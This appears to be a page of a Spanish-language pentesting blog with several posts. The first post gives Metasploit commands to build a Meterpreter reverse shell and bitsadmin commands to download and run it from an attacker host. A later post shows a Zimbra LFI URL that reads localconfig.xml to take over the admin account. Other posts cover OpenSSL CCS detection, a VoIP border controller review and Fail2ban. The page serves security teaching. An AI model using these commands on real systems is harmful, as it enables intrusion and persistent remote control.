Skip to content

Post Explotación de Windows 7 con BITSADMIN

bitsadmin_example

Durante la parte de post-explotación de un sistema operativo como Windows 7 , es muy importante poder preservar el control , para ello es necesario descargar y ejecutar nuestros shell reversos, y evidentemente tiene que pasar desapercibido.

Para esto en Windows 7 encontramos BITS “Servicio de transferencia inteligente en segundo plano de Microsoft”. Se utiliza para transferir archivos, entre otras cosas.

Planteemos este escenario:

Contamos con una consola de DOS en Windows 7 , obtenida de alguna forma, (con netcat por ejemplo) sin embargo una consola DOS, muchas veces es muy limitada, ya que necesitamos ejecutar comandos mas complejos, entonces nos ponemos a trabajar para tener nuevamente una sesión de Meterpreter, apoyándonos en BITS , de la siguiente forma:

En Kali Linux creamos un Payload con Metasploit donde la IP 10.10.88.236 es la IP de Kali

#msfpayload windows/meterpreter/reverse_tcp lhost=10.10.88.236 lport=1234 X > /var/www/shell.exe

Ahora abriremos el handler de Metasploit

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp lhost=10.10.88.236 lport=1234 E

En la consola de Windows que tenemos, descargaremos el shell.exe de la maquina Kali Linux

C:\Windows\system32> cd Users
C:\Windows\system32> cd ecornejo
C:\Windows\system32> cd Destktop

C:\Windows\system32> bitsadmin /create proceso1
C:\Windows\system32> bitsadmin /addfile proceso1 http://10.10.88.236/shell.exe  c:\Users\ecornejo\Desktop\shell.exe
C:\Windows\system32> bitsadmin /resume proceso1
C:\Windows\system32> bitsadmin /complete proceso1

Con esto realizado, tendremos nuestro shell.exe en el escritorio del usuario , ahora lo ejecutaremos

C:\Windows\system32> cd c:\Users\ecornejo\Desktop
C:\Windows\system32> shell.exe

Si todo salio bien tendremos una sesión de Meterpreter activa y lista para volver a tomar el control

meterpreter > getuid
meterpreter > getsystem

Nota: Es evidente que no es la única forma , también esta el hecho de que un antivirus puede detectar nuestro exe, sin embargo para eso también existen otros mecanismos , espero les sirva.

Referencias:
http://technet.microsoft.com/en-us/magazine/ff382721.aspx

http://msdn.microsoft.com/en-us/library/aa362813%28v=vs.85%29.aspx

Probando la detección de la vulnerabilidad OpenSSL CCS Injection Attack (CVE-2014-0224)

openssl

 

Para los que nos dedicamos a realizar proyectos de Ethical Hacking , es bastante común usar algún software de análisis de vulnerabilidades , en mi caso, mi preferido es Nessus , sin embargo como cualquier software automatizado, este puede generar a lo que se denomina falsos positivos, es por ello que la labor del pentester es poder validar cada una de las vulnerabilidades que la herramienta nos reporta.

Dicho esto, entremos al tema, desde la aparición de Heartbleed este año, muchas marcas, fabricantes, desarrollos independientes, aplicaron y en algunos casos sacaron en un corto plazo las actualizaciones emitidas recomendadas por Openssl y reportadas en el CVE-2014-0160 , la cual se explota de la siguiente forma :

 

Han pasado varios meses,  y lo que ha pasado desapercibido, es que existen nuevas vulnerabilidades descubiertas a partir de ello, llamémoslas “variantes” como las reportadas , CVE-2014-0224 , CVE-2010-5298 , CVE-2014-0076 , CVE-2014-0195 , CVE-2014-0198 , CVE-2014-0221 , CVE-2014-3470 ,  cada una un poco diferente que la otra pero todas involucradas con Openssl.

El hecho es que durante mis últimos proyectos de pentesing , he estado encontrando de manera muy recurrente en la vulnerabilidad , que Nessus reporta como “OpenSSL ‘ChangeCpherSpec’ MiTM”

openssl

Luego del bonito reporte de Nessus , viene la hora de hacer el trabajo real y realizar la prueba manual, así que tome la vulnerabilidad CVE-2014-0224 y me puse a investigar si existía una prueba de concepto.

Encontré mucha información teórica en donde indica que la vulnerabilidad, sin entrar mucho en detalle. radica en que al enviar un paquete CSS o “ChangeCipherSpec” antes de iniciar la session SSL o intercambio de llaves SSL (handshake) la llave que se genera, es una llave débil y puede ser fácil de adivinar, por tanto susceptible a ataques de hombre en el medio.

Hay muchas entradas de blog , documentación y discusiones sobre esto, pero aquí me gustaría enfocarme en la forma de detectar la vuln, en la implementación OpenSSL.

Encontré dos formas de probar la detección ,  una vía un script para NMAP publicada aquí : https://gist.github.com/rcvalle

Y otra un script desarrollado por Craig Young la cual es un script en python que permite la detección de la vulnerabilidad CVE-2014-0224. La cual es posible descargar desde aquí: https://github.com/Tripwire/OpenSSL-CCS-Inject-Test

El funcionamiento es muy sencillo , básicamente es ejecutarlo de la siguiente forma :

#python OSSL_CCS_InjectTest2.py  nombrededominio

 

Script por defecto viene para validar servicios en HTTPS (443) como es normal , sin embargo sabemos que existen implementaciones de SSL en otros servicios como POPS , IMAPS , FTPS  por citar ejemploS, así que haciendo unas modificaciones , para el puerto 995 , quedaria de la siguiente forma:

 

openssl

Una vez modificado , si el resultado es positivo , tendremos lo siguiente :

 

openssl

 

Como vemos la herramienta nos muestra que el objetivo es vulnerable , en TLS1 y SSLv3, Para solucionar esto es recomendable realizar las siguientes actualización dependiendo la versión de OpenSSL

OpenSSL 0.9.8 SSL/TLS actualizar a 0.9.8za.
OpenSSL 1.0.0 SSL/TLS actualizar a 1.0.0m.
OpenSSL 1.0.1 SSL/TLS actualizar a 1.0.1h.

Es claro que no todo se ha acabado con Heartbleed y su parche , así que será necesario estar atento a lo nuevo que se viene alrededor de Openssl.

Eso es todo, espero les sirva

Juan Oliva

 

 

Sangoma Session Border Controller

sbc-critical-component

 

Un Session border controller  o “SBC” , es un concepto de seguridad que desde hace unos años se ha venido escuchando con mas fuerza, sobre todo por lo duro y aveces casi inviable, el poder trabajar con Firewalls perimetrales y a la vez brindar seguridad completa a una plataforma de VoIP.

 

Por tanto la posibilidad, de tener un elemento o entidad única de seguridad especializada en VoIP y que de cara a internet, para garantizar en gran medida, protección de ataques externos, es muy importante de considerar.

 

Luego que los amigos de Sangoma presentarán en la sociedad Elastix , su desarrollo de SBC , me dio mucha curiosidad probarlo y validarlo.

 

Después de obtener una licencia para realizar las pruebas (Gracias Ernesto Casas @ecasas :D ) procedí a instalarlo y me di con la sorpresa con un producto bastante amplio con muchas posibilidades.

 

sbc

 

 Luego, realicé una implementación la cual es explicada en los manuales como “Sip Trunking” (http://wiki.sangoma.com/NSC-SIP-Trunking-Setup) La cual no es mas que poner el SBC delante de un PBX Elastix en este caso , que tiene una troncal SIP contra un proveedor de VoIP, como se muestra a continuación:

 

elastix-sbc

 

Luego de lograr la integración (llamadas entrantes y salientes) me puse a “probar” la seguridad que brinda el mismo, realicé algunos ataques convencionales y conocidos para ver como reaccionaba el SBC y efectivamente bloquea los ataques, como se muestra a continuación.

 

Selection_573

 

Sin lugar a dudas un SBC es un elemento que va ayudar mucho a salva guardar una infraestructura de VoIP/Telefonía IP , en este caso Sangoma con su SBC ha hecho un gran trabajo en este producto, muestra innumerables opciones y posibilidades de aseguramiento.

 

Sin embargo como cualquier elemento de seguridad ya existente, mucho dependerá, como se configure y se afine, para poder realizar su trabajo eficientemente y evitar fraudes y hackeos a la plataforma.

 

Si desean más información

 

Modelos y características : http://www.sangoma.com/session-border-controllers/

Wiki : http://wiki.sangoma.com/NetBorder-Session-Controller

 

Espero les sirva
Juan Oliva

Publicado mi Paper : Seguridad en Implementaciones de Voz Sobre IP

Un paper con una vista general acerca de la seguridad VoIP actualmente y prácticas recomendadas.

sivoipi

La semana anterior Elastix lanzó un paper general sobre seguridad relacionado con Implementaciones en VoIP.

Este trabajo se realizó en conjunto con Juan Oliva como autor principal del documento y Paul Estrella como Editor asociado. En el lanzamiento se incluyó una versión al Inglés que fue traducida por Elvita Crespo, actual Channel Manager de Elastix.

El objetivo del documento es el de generar información de primera mano que permita a integradores apoyar trabajos relacionados con la estimación de un proyecto de telefonía IP bajo la óptica de incluir componentes de seguridad en el mismo.

El trabajo permite además hacer una introducción básica y sencilla sobre potenciales amenazas a personas con poco conocimiento sobre el tema.

De esta forma, Elastix, Juan Oliva y compañía, buscan iniciar una serie de aportes que permitan a usuarios de tecnología, integradores y desarrolladores, promover políticas de seguridad en implementaciones VoIP y otras relacionadas.

El documento puede ser descargado en los siguientes enlaces:

Español – Seguridad en Implementaciones de Voz Sobre IP

Ingles – Security in Voice Over IP (VoIP) Implementations

Usted puede revisar más material sobre VoIP, Telefonía IP y Elastix en Manuales y Libros Elastix

 

Versión original : http://opendireito.com/2014/04/14/seguridad-en-implementaciones-de-voz-sobre-ip/

 

 

 

Probamos lo que en teoría…. protegemos ???

seguridad-linux

Muchas veces veo configuraciones que en teoría, deberían proteger una plataforma o servicios, sin embargo el común denominador es que no prueban si realmente, la herramienta o el servicio que configuraron, para proteger esta haciendo su trabajo.

A continuación les dejo un par de “demos” que mostré el año pasado en el “Encuentro Internacional de Software Libre” desarrollado en Quito-Ecuador

minga

Donde mostraba en  mi charla “Implementando seguridad en plataformas de software Libre Elastix” algunos mecanismos para probar si realmente las configuraciones de seguridad funcionan, y que realmente una plataforma puede ser muy robusta , y es que la realidad de la cosas es que “todo depende del profesional que las implemente”

Protegiendo el servicio SSH ante ataques de password craking con Fail2ban ssh

Protegiendo Asterisk ante ataques SIP con Fail2ban

Espero les sirva la info
Saludos
Juan Oliva

Explotando Vulnerabilidad en Zimbra

zimbra

Después del alboroto de las fiestas de fin de año, volvemos al ruedo, el pasado diciembre 2013 , fue reportada una vulnerabilidad y publicado su respectivo exploit  , en Zimbra para las versiones 8.0.2 y 7.2.2, el exploit ataca un vector LFI .

Exploit : http://www.exploit-db.com/exploits/30085/

Vector LFI : https://mail.dominio.com/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml

A través de este vector, es posible creación de un usuario administrativo en la plataforma, es decir es posible tomar el control del servidor de correo Zimbra, para leer buzones, crear nuevas cuentas,  y si ya se …  Spamm free !!

Es posible explotar la vulnerabilidad remotamente , si la interfase administrativa de Zimbra (puerto 7071) esta abierta.

A continuación veremos como probar si nuestro Zimbra es vulnerable.

1.- Descargar y configurar el exploit
Para esto utilizaremos kali Linux como sistema operativo base ya que el exploit esta escrito en ruby y en este caso Kali , tiene todas las librerías de Rubi instaladas.

zimbra

2.- Ejecutar el exploit
Si el exploit se ejecuta correctamente, tendremos un resultado como el siguiente:

zimbra

Al parecer nuestro exploit se ejecuta correctamente, ahora ingresaremos con las credenciales creadas

3.- Ingresando como administrador en Zimbra

Ingresamos con el usuario que creamos con en el exploit

zimbra

Y como vemos podemos ingresar como Administradores en Zimbra

zimbra

Ojo versiones de Zimbra con este aspecto también son vulnerables:

zimbra

4.- Parchando

Afortunadamente los desarrolladores de Zimbra han publicado los parches para esta vulnerabilidad

http://www.zimbra.com/forums/announcements/67236-security-guidance-reported-0day-exploit.html

Así que a parchar se ha dicho señores , Feliz 2014 !!

Descargo de responsabilidad: El presente post es una prueba de concepto, hecho con objetivos netamente de defensa y protección, es responsabilidad del lector el uso de este conocimiento.

Los números del 2013 en mi blog

Los duendes de las estadísticas de WordPress.com prepararon un informe sobre el año 2013 de este blog.

Aquí hay un extracto:

El Museo del Louvre tiene 8.5 millones de visitantes por año. Este blog fue visto cerca de 110.000 veces en 2013. Si fuese una exposición en el Museo del Louvre, se precisarían alrededor de 5 días para que toda esa gente la visitase.

Haz click para ver el reporte completo.

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 98 seguidores